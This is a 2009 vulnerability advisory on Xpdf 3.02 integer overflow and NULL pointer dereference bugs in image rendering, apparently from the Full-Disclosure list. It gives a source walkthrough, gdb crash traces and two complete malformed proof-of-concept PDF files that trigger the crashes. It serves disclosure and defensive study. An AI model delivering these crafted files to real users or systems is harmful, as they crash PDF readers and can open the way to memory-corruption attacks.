|
Name: Xpdf - Integer overflow which causes heap
overflow and NULL pointer derefernce
Author: Adam Zabrocki / HISPASEC (<pi3@itsec.pl> or
<adam@hispasec.com>)
Date: July 06, 2009
Issue:
Xpdf allows local and remote attackers to overflow buffer on heap via
integer overflow vulnerability.
Xpdf is prone to NULL pointer dereference attack.
Description:
Xpdf is an open-source viewer for Portable Document Format (PDF) files.
Xpdf project also includes
a PDF text extractor, PDF-to-PostScript converter, and various other
utilities. Xpdf runs under
the X Window System on UNIX, VMS, and OS/2. The non-X components
(pdftops, pdftotext, etc.) also
run on Win32 systems and should run on pretty much any system with a
decent C++ compiler.
Xpdf is designed to be small and efficient. It can use Type 1, TrueType,
or standard X fonts.
Details:
Let's look in code:
"./goo/gmem.cc"
void *gmalloc(int size) GMEM_EXCEP {
#ifdef DEBUG_MEM
...
#else
void *p;
if (size < 0) {
#if USE_EXCEPTIONS
...
#else
fprintf(stderr, "Invalid memory allocation size\n");
exit(1);
#endif
}
if (size == 0) {
return NULL;
}
if (!(p = malloc(size))) {
#if USE_EXCEPTIONS
...
#else
fprintf(stderr, "Out of memory\n");
exit(1);
#endif
}
return p;
#endif
}
Ok. So if we pass negative value to gmalloc() than xpdf finish work via
exit() call
and print to stderr "Invalid memory allocation size\n". If we pass 0
(zero) value
than function return NULL. In other cases there will be normal call to
malloc() func.
Ok so let's look further.
"./splash/Splash.cc"
SplashError Splash::drawImage(SplashImageSource src, void *srcData,
SplashColorMode srcMode, GBool srcAlpha,
int w, int h, SplashCoord *mat) {
...
...
SplashClipResult clipRes, clipRes2;
int yp, yq, yt, yStep, lastYStep;
int xp, xq, xt, xStep, xSrc;
...
SplashColorPtr colorBuf, p;
...
#if SPLASH_CMYK
int pixAcc0, pixAcc1, pixAcc2, pixAcc3;
#else
int pixAcc0, pixAcc1, pixAcc2;
#endif
...
int nComps, n, m, i, j;
...
// check color modes
ok = gFalse; // make gcc happy
nComps = 0; // make gcc happy
switch (bitmap->mode) {
case splashModeMono1:
case splashModeMono8:
ok = srcMode == splashModeMono8;
nComps = 1;
break;
case splashModeRGB8:
ok = srcMode == splashModeRGB8;
nComps = 3;
break;
case splashModeBGR8:
ok = srcMode == splashModeBGR8;
nComps = 3;
break;
#if SPLASH_CMYK
case splashModeCMYK8:
ok = srcMode == splashModeCMYK8;
nComps = 4;
break;
#endif
}
if (!ok) {
return splashErrModeMismatch;
}
...
...
// compute Bresenham parameters for x and y scaling
yp = h / scaledHeight;
yq = h % scaledHeight;
xp = w / scaledWidth;
xq = w % scaledWidth;
colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
<- [1] !!!
if (srcAlpha) {
alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
} else {
alphaBuf = NULL;
}
pixAcc0 = pixAcc1 = pixAcc2 = 0; // make gcc happy
...
...
if (srcAlpha) {
...
<BIG code>
...
} else {
// init y scale Bresenham
yt = 0;
lastYStep = 1;
for (y = 0; y < scaledHeight; ++y) {
// y scale Bresenham
yStep = yp;
yt += yq;
if (yt >= scaledHeight) {
yt -= scaledHeight;
++yStep;
}
// read row(s) from image
n = (yp > 0) ? yStep : lastYStep;
if (n > 0) {
p = colorBuf;
for (i = 0; i < n; ++i) {
(*src)(srcData, p, NULL); <- [!!] !!!
p += w * nComps;
}
}
...
<now we will be looking in code for splashModeRGB8 and splashModeBGR8>
...
switch (srcMode) {
...
...
case splashModeRGB8:
case splashModeBGR8:
for (x = 0; x < scaledWidth; ++x) {
// x scale Bresenham
xStep = xp;
xt += xq;
if (xt >= scaledWidth) {
xt -= scaledWidth;
++xStep;
}
...
...
// compute the filtered pixel at (x,y) after the x and y
scaling
// operations
m = xStep > 0 ? xStep : 1;
p = colorBuf + xSrc * 3; <- [2] !!!
pixAcc0 = pixAcc1 = pixAcc2 = 0;
for (i = 0; i < n; ++i) {
for (j = 0; j < m; ++j) {
pixAcc0 += *p++; <- [3] !!!
pixAcc1 += *p++;
pixAcc2 += *p++;
}
p += 3 * (w - m);
}
...
...
<BIG code>
...
...
}
We immediately control variable "w" and "h". So if we set variable "w"
to value zero (0).
After that call to gmalloc (in [1]) will return NULL. There is no check
what value was returned!
So in [2] we have p = NULL + xSrc*3, xSrc we can set to 0 (zero) too. So
in fact we can set "p"
to NULL value. In [3] we have NULL pointer dereference!
Ok let's look for other scenario. What will happen if variable "w" have
BIG value? Let's look:
(yp + 1) * w * nComps
"w" we can control immediately, "nComps" have some static value and "yp"
we can controle indirectly
because:
yp = h / scaledHeight;
"h" we control once again immediately! So in fact we can do integer
overflow and allocate less memory
than it should be. For example:
h = 2000000000
w = 1102
nComps = 3
yp / scaledHeight = 15873015, for standard scaledHeight = 126
so it should be => (15873015+1)*1102*3 = 15873016*1102*3 = 52476190896
but in fact after integer overflow it is:
yp[15873015]+1)*w[1102]*nComps[3] = 936583344
So it is too little :)
In this scenario after call to gmalloc() program will go after some
instruction to code in [!!].
in fact this is call to some pointer which redirect us to function...
"xpdf/SplashOutputDev.cc"
GBool SplashOutputDev::imageSrc(void *data, SplashColorPtr colorLine,
Guchar *alphaLine) {
SplashOutImageData *imgData = (SplashOutImageData *)data;
...
SplashColorPtr q, col;
...
int nComps, x;
...
if (imgData->lookup) {
switch (imgData->colorMode) {
...
...
case splashModeRGB8:
case splashModeBGR8:
for (x = 0, p = imgData->imgStr->getLine(), q = colorLine;
x < imgData->width;
++x, p += nComps) {
imgData->colorMap->getRGB(p, &rgb);
*q++ = colToByte(rgb.r);
*q++ = colToByte(rgb.g);
*q++ = colToByte(rgb.b);
}
break;
...
...
}
And here is overflow! We have too little allocated memory but program
don't know about it
and try to convert colors and write in this memory by call:
*q++ = colToByte(rgb.r);
*q++ = colToByte(rgb.g);
*q++ = colToByte(rgb.b);
and the end of working loop is via this compare:
x < imgData->width;
So we overflow memory.
Proof of concept
Let's try to do this scenario:
[root@pi3book xpdf-3.02]# xpdf elo.pdf
Error: PDF file is damaged - attempting to reconstruct xref table...
Naruszenie ochrony pamięci
[root@pi3book xpdf-3.02]#
and gdb output:
(gdb) bt
#0 0x080c222a in SplashOutputDev::imageSrc (data=0xbfffec84,
colorLine=0xb7fe46de '�' <repeats 200 times>..., alphaLine=0x0) at
SplashOutputDev.cc:1848
#1 0x080fedc0 in Splash::drawImage (this=0x81e5878, src=0x80c20d0
<SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>,
srcData=0xbfffec84,
srcMode=splashModeRGB8, srcAlpha=0, w=1102, h=2000000000,
mat=0xbfffec50) at Splash.cc:2532
#2 0x080c1d1f in SplashOutputDev::drawImage (this=0x81bd0f8,
state=0x81f0050, ref=0xbfffeebc, str=0x81f0960, width=1102,
height=2000000000,
colorMap=0x81f8ea0, maskColors=0x0, inlineImg=0) at
SplashOutputDev.cc:2048
#3 0x080601d9 in Gfx::doImage (this=0x81e5528, ref=0xbfffeebc,
str=0x81f0960, inlineImg=0) at Gfx.cc:3657
#4 0x08066799 in Gfx::opXObject (this=0x81e5528, args=0xbfffef34,
numArgs=1) at Gfx.cc:3330
#5 0x080612bd in Gfx::go (this=0x81e5528, topLevel=1) at Gfx.cc:581
#6 0x080615ea in Gfx::display (this=0x81e5528, obj=0xbffff1ac,
topLevel=1) at Gfx.cc:553
#7 0x080a55cb in Page::displaySlice (this=0x81df9f0, out=0x81bd0f8,
hDPI=90, vDPI=90, rotate=0, useMediaBox=0, crop=1, sliceX=0, sliceY=0,
sliceW=744,
sliceH=1052, printing=0, catalog=0x81de638, abortCheckCbk=0,
abortCheckCbkData=0x0) at Page.cc:317
#8 0x080aa485 in PDFCore::needTile (this=0x81bcab8, page=0x81e5468,
x=0, y=0) at PDFCore.cc:835
#9 0x080abc77 in PDFCore::update (this=0x81bcab8, topPageA=1,
scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at
PDFCore.cc:658
#10 0x080de837 in XPDFCore::update (this=0x81bcab8, topPageA=1,
scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at
XPDFCore.cc:285
#11 0x080a6861 in PDFCore::displayPage (this=0xbfffe88c, topPageA=1,
zoomA=125, rotateA=0, scrollToTop=1, addToHist=1) at PDFCore.cc:292
#12 0x080ea80a in XPDFViewer (this=0x81a35f8, appA=0x8180298,
fileName=0x8182b00, pageA=1, destName=0x0, fullScreen=0,
ownerPassword=0x0, userPassword=0x0)
at XPDFViewer.cc:297
#13 0x080dafe0 in XPDFApp::open (this=0x8180298, fileName=0x8182b00,
page=1, ownerPassword=0x0, userPassword=0x0) at XPDFApp.cc:228
#14 0x080edcbb in main (argc=Cannot access memory at address 0x0
) at xpdf.cc:311
(gdb) x/i $eip
0x80c222a <_ZN15SplashOutputDev8imageSrcEPvPhS1_+346>: mov %al,0x1(%
ebx)
(gdb) i r ebx
ebx 0xb7fe4fff -1208070145
(gdb) x/x $ebx
0xb7fe4fff: Cannot access memory at address 0xb7fe4fff
(gdb) print q
$1 = (Guchar *) 0xb7fe4fff "�" <Address 0xb7fe5000 out of bounds>
(gdb) print x
$2 = 780
(gdb) print ((SplashOutImageData *)data)->width
$3 = 1102
(gdb) up
#1 0x080fedc0 in Splash::drawImage (this=0x81e5878, src=0x80c20d0
<SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>,
srcData=0xbfffec84,
srcMode=splashModeRGB8, srcAlpha=0, w=1102, h=2000000000,
mat=0xbfffec50) at Splash.cc:2532
2532 (*src)(srcData, p, NULL);
(gdb) print colorBuf
$4 = (
SplashColorPtr) 0x7ffae008 "\204��a\210�a\210�a\210�`\210�`\210�`
\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`
\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`
\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`
\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`
\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`
\210"...
(gdb) print w
$5 = 1102
(gdb) print h
$6 = 2000000000
(gdb) print nComps
$7 = 3
(gdb) list
2527 // read row(s) from image
2528 n = (yp > 0) ? yStep : lastYStep;
2529 if (n > 0) {
2530 p = colorBuf;
2531 for (i = 0; i < n; ++i) {
2532 (*src)(srcData, p, NULL);
2533 p += w * nComps;
2534 }
2535 }
2536 lastYStep = yStep;
(gdb) print n
$8 = 15873015
(gdb) print p
$9 = (Guchar *) 0xb7fe46de '�' <repeats 200 times>...
(gdb)
So it is exactly what we analyze source :) Look now what will happen
when variable "w" have value 0 (zero) - in fact
now we will have NULL pointer dereference. Let's look:
[root@pi3book xpdf-3.02]# xpdf jajo.pdf
Error: PDF file is damaged - attempting to reconstruct xref table...
Naruszenie ochrony pamięci (core dumped)
[root@pi3book xpdf-3.02]#
and gdb output:
(gdb) bt
#0 Splash::drawImage (this=0x81e58e0, src=0x80c20d0
<SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>,
srcData=0xbfffec84,
srcMode=splashModeRGB8, srcAlpha=0, w=0, h=2000000000,
mat=0xbfffec50) at Splash.cc:2667
#1 0x080c1d1f in SplashOutputDev::drawImage (this=0x81bd100,
state=0x81f0090, ref=0xbfffeebc, str=0x81f09c0, width=0,
height=2000000000,
colorMap=0x81f8f00, maskColors=0x0, inlineImg=0) at
SplashOutputDev.cc:2048
#2 0x080601d9 in Gfx::doImage (this=0x81e54c8, ref=0xbfffeebc,
str=0x81f09c0, inlineImg=0) at Gfx.cc:3657
#3 0x08066799 in Gfx::opXObject (this=0x81e54c8, args=0xbfffef34,
numArgs=1) at Gfx.cc:3330
#4 0x080612bd in Gfx::go (this=0x81e54c8, topLevel=1) at Gfx.cc:581
#5 0x080615ea in Gfx::display (this=0x81e54c8, obj=0xbffff1ac,
topLevel=1) at Gfx.cc:553
#6 0x080a55cb in Page::displaySlice (this=0x81dfa08, out=0x81bd100,
hDPI=90, vDPI=90, rotate=0, useMediaBox=0, crop=1, sliceX=0, sliceY=0,
sliceW=744,
sliceH=1052, printing=0, catalog=0x81de718, abortCheckCbk=0,
abortCheckCbkData=0x0) at Page.cc:317
#7 0x080aa485 in PDFCore::needTile (this=0x81bcac0, page=0x81e5408,
x=0, y=0) at PDFCore.cc:835
#8 0x080abc77 in PDFCore::update (this=0x81bcac0, topPageA=1,
scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at
PDFCore.cc:658
#9 0x080de837 in XPDFCore::update (this=0x81bcac0, topPageA=1,
scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at
XPDFCore.cc:285
#10 0x080a6861 in PDFCore::displayPage (this=0x0, topPageA=1, zoomA=125,
rotateA=0, scrollToTop=1, addToHist=1) at PDFCore.cc:292
#11 0x080ea80a in XPDFViewer (this=0x81a35f8, appA=0x8180298,
fileName=0x8182b00, pageA=1, destName=0x0, fullScreen=0,
ownerPassword=0x0, userPassword=0x0)
at XPDFViewer.cc:297
#12 0x080dafe0 in XPDFApp::open (this=0x8180298, fileName=0x8182b00,
page=1, ownerPassword=0x0, userPassword=0x0) at XPDFApp.cc:228
#13 0x080edcbb in main (argc=Cannot access memory at address 0x0
) at xpdf.cc:311
(gdb) print w
$1 = 0
(gdb) print i
$2 = 0
(gdb) print j
$3 = 0
(gdb) print n
$4 = 15873015
(gdb) print m
$5 = 1
(gdb) print p
$6 = (Guchar *) 0x0
(gdb) print pixAcc0
$7 = 0
(gdb) x/i $eip
0x80ff720 <_ZN6Splash9drawImageEPFiPvPhS1_ES0_15SplashColorModeiiiPd
+9488>: movzbl (%ebx),%eax
(gdb) i r ebx
ebx 0x0 0
(gdb) x/x $ebx
0x0: Cannot access memory at address 0x0
(gdb)
That's all. Everything is exacly what we analyse.
[1] - NULL pointer dereference:
-------------- xpdf-poc-null-pointer-dereference.pdf -------------
%PDF-1.3
% 'BasicFonts': class PDFDictionary
1 0 obj
% The standard fonts dictionary
<< /F1 2 0 R >>
endobj
% 'F1': class PDFType1Font
2 0 obj
% Font Helvetica
<< /BaseFont /Helvetica
/Encoding /WinAnsiEncoding
/Name /F1
/Subtype /Type1
/Type /Font >>
endobj
% 'FormXob.322a89588a84510d9b1b6ec68c3b4437': class PDFImageXObject
3 0 obj
<< /BitsPerComponent 8
/ColorSpace /DeviceRGB
/Filter [ /ASCII85Decode
/FlateDecode ]
/Height 2000000000
/Length 61
/Subtype /Image
/Type /XObject
/Width 0 >>
stream
GarPPGWE%h$j7l8U/<b)7aWX$5Y7NE=r1HcE+b-(;)F/"d9oEm?)I\-b23C~>endstream
endobj
% 'Page1': class PDFPage
4 0 obj
% Page dictionary
<< /Contents 8 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 7 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ]
/XObject << /FormXob.322a89588a84510d9b1b6ec68c3b4437 3 0 R >> >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'R5': class PDFCatalog
5 0 obj
% Document Root
<< /Outlines 9 0 R
/PageMode /UseNone
/Pages 7 0 R
/Type /Catalog >>
endobj
% 'R6': class PDFInfo
6 0 obj
<< /Author (anonymous)
/CreationDate (20090525000415)
/Keywords ()
/Producer (ReportLab http://www.reportlab.com)
/Subject (unspecified)
/Title (untitled) >>
endobj
% 'R7': class PDFPages
7 0 obj
% page tree
<< /Count 1
/Kids [ 4 0 R ]
/Type /Pages >>
endobj
% 'R8': class PDFStream
8 0 obj
% page stream
<< /Filter [ /ASCII85Decode
/FlateDecode ]
/Length 137 >>
stream
Gap(;0b2&S&-VlomLT2HjNbIbQSsFp1e964@g>'<K)ZW1TUhKc(%
Rpp=t5hkIT:&HH9nYhU`6Inl-6"Js0J5ePfhLZm8G)YG;4cqkJ;Rf)cZMkCEB*ZoFeK5S8`19G:#!aWM18.~>endstream
endobj
% 'R9': class PDFOutlines
9 0 obj
<< /Count 0
/Type /Outlines >>
endobj
xref
0 10
0000000000 65535 f
0000000113 00000 n
0000000209 00000 n
0000000415 00000 n
0000000710 00000 n
0000001052 00000 n
0000001186 00000 n
0000001397 00000 n
0000001502 00000 n
0000001783 00000 n
trailer
<< /ID
% ReportLab generated PDF document -- digest
(http://www.reportlab.com)
[(xZ\271\226b\372\015\305\017\211\022\241\262?\243\347) (xZ\271\226b
\372\015\305\017\211\022\241\262?\243\347)]
/Info 6 0 R
/Root 5 0 R
/Size 10 >>
startxref
1834
%%EOF
-------------- xpdf-poc-null-pointer-dereference.pdf -------------
[2] - Integer overflow:
-------------- xpdf-poc-integer-overflow.pdf -------------
%PDF-1.3
% 'BasicFonts': class PDFDictionary
1 0 obj
% The standard fonts dictionary
<< /F1 2 0 R >>
endobj
% 'F1': class PDFType1Font
2 0 obj
% Font Helvetica
<< /BaseFont /Helvetica
/Encoding /WinAnsiEncoding
/Name /F1
/Subtype /Type1
/Type /Font >>
endobj
% 'FormXob.322a89588a84510d9b1b6ec68c3b4437': class PDFImageXObject
3 0 obj
<< /BitsPerComponent 8
/ColorSpace /DeviceRGB
/Filter [ /ASCII85Decode
/FlateDecode ]
/Height 2000000000
/Length 61
/Subtype /Image
/Type /XObject
/Width 1102 >>
stream
GarPPGWE%h$j7l8U/<b)7aWX$5Y7NE=r1HcE+b-(;)F/"d9oEm?)I\-b23C~>endstream
endobj
% 'Page1': class PDFPage
4 0 obj
% Page dictionary
<< /Contents 8 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 7 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ]
/XObject << /FormXob.322a89588a84510d9b1b6ec68c3b4437 3 0 R >> >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'R5': class PDFCatalog
5 0 obj
% Document Root
<< /Outlines 9 0 R
/PageMode /UseNone
/Pages 7 0 R
/Type /Catalog >>
endobj
% 'R6': class PDFInfo
6 0 obj
<< /Author (anonymous)
/CreationDate (20090525000415)
/Keywords ()
/Producer (ReportLab http://www.reportlab.com)
/Subject (unspecified)
/Title (untitled) >>
endobj
% 'R7': class PDFPages
7 0 obj
% page tree
<< /Count 1
/Kids [ 4 0 R ]
/Type /Pages >>
endobj
% 'R8': class PDFStream
8 0 obj
% page stream
<< /Filter [ /ASCII85Decode
/FlateDecode ]
/Length 137 >>
stream
Gap(;0b2&S&-VlomLT2HjNbIbQSsFp1e964@g>'<K)ZW1TUhKc(%
Rpp=t5hkIT:&HH9nYhU`6Inl-6"Js0J5ePfhLZm8G)YG;4cqkJ;Rf)cZMkCEB*ZoFeK5S8`19G:#!aWM18.~>endstream
endobj
% 'R9': class PDFOutlines
9 0 obj
<< /Count 0
/Type /Outlines >>
endobj
xref
0 10
0000000000 65535 f
0000000113 00000 n
0000000209 00000 n
0000000415 00000 n
0000000710 00000 n
0000001052 00000 n
0000001186 00000 n
0000001397 00000 n
0000001502 00000 n
0000001783 00000 n
trailer
<< /ID
% ReportLab generated PDF document -- digest
(http://www.reportlab.com)
[(xZ\271\226b\372\015\305\017\211\022\241\262?\243\347) (xZ\271\226b
\372\015\305\017\211\022\241\262?\243\347)]
/Info 6 0 R
/Root 5 0 R
/Size 10 >>
startxref
1834
%%EOF
-------------- xpdf-poc-integer-overflow.pdf -------------
Greets
Guys from HISPASEC, snoop, thorkill, Piotr Bania, guys from
SecurityReason,
#lam3rz@IRCNET and #plhack@IRCNET
Disclaimer
This document and all the information it contains is provided "as is",
without any warranty. The author is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.
Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.
Ending words...
That's all. I test it on version 3.02 with all security patches.
Probably all versions
are vulnerability. Thanks and Best regards Adam Zabrocki (pi3 /
pi3ki31ny).
Disclosure Timeline
*) 14 October, 2009 - Vendor release patch
...
...
*) 27 Jult, 2009 - replay with vendor
*) 23 Jult, 2009 - contact with vendor
*) 06 July, 2009 - exploit bug and write advisory
*) 04 July, 2009 - found bug
--
http://hispasec.com
http://pi3.com.pl
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
|
推荐
评论(0条)
